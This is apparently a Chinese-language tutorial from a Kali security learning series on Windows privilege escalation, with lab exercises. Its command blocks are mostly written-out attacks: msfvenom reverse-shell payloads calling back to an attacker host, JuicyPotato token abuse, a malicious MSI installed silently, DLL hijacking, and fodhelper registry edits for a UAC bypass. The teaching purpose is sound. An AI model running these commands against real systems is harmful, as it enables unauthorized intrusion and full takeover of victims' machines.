📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux → 网络 → 密码学 → 编程 → Docker
模块 1 信息收集 ✅ 已完成 | 模块 2 Web渗透 ✅ 已完成
19-31 扫描 → 漏洞 → sqlmap → XSS → WAF绕过
模块 3 代码审计 ✅ 已完成
32-37 审计入门 → Node.js → PHP → Java → Python → CVE复现
模块 4 漏洞利用与后渗透(进行中)
38 Metasploit 入门 ✓ | 39 Payload 生成 ✓ | 40 Linux 提权 ✓
41 Windows 权限提升技术 ✓(本篇)
42 权限维持 | 43 免杀基础
Windows 权限提升技术
网络安全 Kali 学习系列 · 第 41 篇 · 模块 4 漏洞利用与后渗透
读完本篇你将能:使用 WinPEAS 枚举 Windows 提权路径,掌握 Unquoted Service Path、令牌模拟(SeImpersonate)、AlwaysInstallElevated、注册表提权和 DLL 劫持五种方法,理解 UAC 绕过原理,在 Windows 靶机上从普通用户提升到 SYSTEM 权限。
上一篇学了 Linux 提权——利用 SUID、sudo、cron 和内核漏洞。Windows 提权的思路不同:Windows 的权限体系围绕 Access Token(访问令牌)和 ACL(访问控制列表)构建,提权的核心是获取更高权限的令牌或利用服务配置缺陷。Windows 提权路径比 Linux 更多但更结构化——WinPEAS 能自动检测 150+ 种提权向量。
目录
第一章 Windows 权限体系与提权思路
第二章 WinPEAS 自动化枚举
第三章 Unquoted Service Path 提权
第四章 令牌模拟与 SeImpersonate
第五章 AlwaysInstallElevated 与注册表提权
第六章 DLL 劫持与 UAC 绕过
第七章 分级练习
第一章 Windows 权限体系与提权思路
Windows 权限的核心概念:每个进程都有一个 Access Token(包含用户 SID、组 SID 和特权列表),每个资源都有一个 ACL(定义谁能访问)。提权本质上是获取一个更高权限的 Token——通常是 NT AUTHORITY\SYSTEM(简称 SYSTEM)的令牌。
1Administrator:本地管理员,拥有大部分系统权限但受 UAC 限制。很多操作需要通过 UAC 提示确认
2SYSTEM:操作系统最高权限,等价于 Linux 的 root。运行系统核心服务和后台进程
3提权路径:普通用户 → Administrator(UAC 绕过)→ SYSTEM(服务漏洞、令牌模拟、令牌窃取)
第二章 WinPEAS 自动化枚举
WinPEAS 是 LinPEAS 的 Windows 版本,自动检测服务权限、注册表配置、已安装软件、令牌特权等 150+ 项提权向量。使用前需要先获取一个 Windows shell(通过 meterpreter 或 reverse shell)。
PowerShell · WinPEAS 枚举
winpeas.ps1
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 下载 WinPEAS(在攻击机上托管)
# 从 GitHub 下载 winpeas.exe 或 winpeas.bat
# 在 meterpreter 会话中上传
upload winpeas.exe C:\\Windows\\Temp\\winpeas.exe
# 在目标 shell 中执行
C:\\Windows\\Temp\\winpeas.exe > C:\\Windows\\Temp\\report.txt 2>&1
# 下载报告分析
download C:\\Windows\\Temp\\report.txt
# 手动快速检查(无 WinPEAS 时)
whoami /priv # 查看当前特权
whoami /groups # 查看组成员
|
whoami /priv 是手动枚举的第一步——查看当前进程拥有的特权。重点关注 SeImpersonatePrivilege(可模拟客户端令牌,能利用 JuicyPotato/RoguePotato 提权)和 SeDebugPrivilege(可调试任意进程,能直接窃取 SYSTEM 进程令牌)。
第三章 Unquoted Service Path 提权
Windows 服务有一个经典配置缺陷:如果服务的可执行路径包含空格且未加引号,Windows 会按路径顺序尝试执行。攻击者可以在路径中放置恶意可执行文件,让服务启动时执行它。
3.1 原理与利用
PowerShell · Unquoted Service Path
unquoted.ps1
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# 查找未加引号的服务路径
wmic service get name,displayname,pathname,startmode \
| findstr /i "auto" | findstr /i /v "c:\windows"
# 示例:服务路径为
# C:\Program Files\My App\service.exe(含空格,无引号)
# Windows 会依次尝试执行:
# C:\Program.exe → C:\Program Files\My.exe → ... → 实际路径
# 检查可写目录权限(用 accesschk)
accesschk.exe -uwdqs Users C:\Program Files\
# 在可写路径放置恶意 exe
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f exe \
-o Program.exe
# 重启服务或等待服务重启即触发
|
利用条件:① 服务路径未加引号且包含空格;② 路径中某个目录对当前用户可写;③ 服务以 SYSTEM 权限运行。满足三个条件即可放置恶意 exe,等待服务重启时执行。accesschk(Sysinternals 工具)用于验证目录写权限——只有当前用户有写权限的路径才能放置文件。
第四章 令牌模拟与 SeImpersonate
SeImpersonatePrivilege 允许进程模拟连接到它的客户端身份。利用这个特权,可以让 SYSTEM 进程连接到我们控制的 RPC 服务,然后模拟其令牌——这就是 JuicyPotato 攻击的核心原理。
4.1 JuicyPotato 提权流程
PowerShell · JuicyPotato 提权
juicy.bat
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# 1. 确认有 SeImpersonatePrivilege
whoami /priv | findstr Impersonate
# 2. 生成反弹 shell payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4445 -f exe -o rev.exe
# 3. 上传 JuicyPotato 和 payload
upload JuicyPotato.exe C:\\Temp\\
upload rev.exe C:\\Temp\\
# 4. 执行 JuicyPotato(-t 指定 COM 服务,-p 指定 payload)
C:\\Temp\\JuicyPotato.exe -t * -p C:\\Temp\\rev.exe -l 4445
|
💡 小贴士
JuicyPotato 利用 COM 接口的 BITS 服务(CLSID {4991d34b-80a1-4291-9b3e-7a7c3a0f3eae})触发 SYSTEM 令牌模拟。Windows Server 2019+ 和 Windows 10 1809+ 已修复此漏洞——改用 PrintSpoofer 或 RoguePotato 替代。检测 SeImpersonate 后先确认 Windows 版本:systeminfo | findstr /B "OS",旧版本用 JuicyPotato,新版本用 PrintSpoofer。
第五章 AlwaysInstallElevated 与注册表提权
AlwaysInstallElevated 是一个注册表设置,当启用时允许任何用户以 SYSTEM 权限安装 MSI 包。这是一个典型的"配置不当"提权路径——管理员开启了方便但留下了后门。
PowerShell · AlwaysInstallElevated
msi_privesc.bat
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# 检查注册表是否启用 AlwaysInstallElevated
reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \
/v AlwaysInstallElevated
# 如果返回 0x1,表示已启用
# 生成恶意 MSI 包
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f msi -o malicious.msi
# 以静默模式安装(以 SYSTEM 权限执行)
msiexec /quiet /qn /i C:\\Temp\\malicious.msi
|
第六章 DLL 劫持与 UAC 绕过
DLL 劫持利用 Windows DLL 搜索顺序缺陷:当程序加载 DLL 时按目录顺序查找,如果攻击者能在搜索路径中放置恶意 DLL,就会被优先加载。UAC 绕过则是利用 Windows 的自动提升机制——某些系统程序(如 fodhelper.exe)在启动时会以高权限运行,利用它们执行任意命令。
PowerShell · DLL 劫持与 UAC 绕过
uac_bypass.bat
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# DLL 劫持:查找可劫持的 DLL
# 用 Process Monitor 监控程序加载的 DLL 路径
# 重点关注 NAME NOT FOUND 的条目
# 生成恶意 DLL
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f dll \
-o missing.dll
# 放到程序搜索路径中,等待程序加载
# UAC 绕过:fodhelper.exe(无需 UAC 提示)
reg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command \
/v DelegateExecute /t REG_SZ /d "" /f
reg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command \
/ve /t REG_SZ /d "cmd /c C:\Temp\rev.exe" /f
|
fodhelper UAC 绕过的原理:fodhelper.exe 是 Windows 设置应用,具有自动提升属性(autoElevate),启动时不会触发 UAC 提示。但它会读取 ms-settings\\Shell\\Open\\command 注册表项来决定执行什么命令——修改这个项就能让 fodhelper 以高权限执行任意命令。这是 Administrator → 高完整性权限的跳板,不是直接到 SYSTEM。
⚠️ 常见错误
UAC 绕过后直接就是 SYSTEM 权限
纠正:UAC 绕过只是从"中等完整性"提升到"高完整性"——你从受限 Administrator 变成完整 Administrator,但仍然不是 SYSTEM。从 Administrator 到 SYSTEM 还需要一步提权(令牌模拟或服务漏洞)。UAC 绕过是第一步,不是终点。
第七章 分级练习
🟢 基础练习:WinPEAS 枚举与特权检测
练习 1:Windows 提权路径枚举
任务:在 Windows 靶机上获取 shell,使用 WinPEAS 和手动命令枚举提权路径。
① 通过 meterpreter 获取 Windows shell
② 执行 whoami /priv 查看特权
③ 执行 whoami /groups 查看组成员
④ 上传 WinPEAS 并执行,分析报告中标记的提权路径
验证标准:记录至少 3 个潜在的提权路径并说明利用方法。
🟡 进阶练习:SeImpersonate 提权
练习 2:JuicyPotato / PrintSpoofer 提权
任务:利用 SeImpersonatePrivilege 提权到 SYSTEM。
步骤:
1. 确认 whoami /priv 输出包含 SeImpersonatePrivilege
2. 确认 Windows 版本,选择 JuicyPotato 或 PrintSpoofer
3. 生成 reverse shell payload 并上传
4. 执行提权工具,获取 SYSTEM meterpreter
验证标准:新会话中 getuid 输出 NT AUTHORITY\SYSTEM。
🔴 高级练习:综合提权链
练习 3:从普通用户到 SYSTEM 完整链路
任务:从一个低权限 Windows 用户账户出发,通过多步提权获取 SYSTEM。
路径设计:
① 普通用户 → UAC 绕过(fodhelper)→ 完整 Administrator
② Administrator → 服务漏洞(Unquoted Service Path 或令牌模拟)→ SYSTEM
要求:每步记录使用的工具、命令和结果。分析为什么单步提权不足,需要链式利用。
知识回顾
Access Token
WinPEAS
whoami /priv
SeImpersonate
SeDebug
Unquoted Service Path
JuicyPotato
PrintSpoofer
accesschk
AlwaysInstallElevated
DLL 劫持
UAC 绕过
fodhelper
下一篇预告
📚 网络安全 Kali 学习系列 · 第 42 篇
权限维持与后门技术
从 webshell 持久化到注册表后门,系统讲解攻防中的权限维持技术。涵盖 Linux crontab 后门、SSH 公钥后门、Windows 服务后门、注册表 Run 键、WMI 事件订阅、Webshell 部署以及痕迹清理。
网络安全 Kali 学习系列 · 模块 4 漏洞利用与后渗透 · 第 41 篇
学安全,为守护 · 用安全,为建设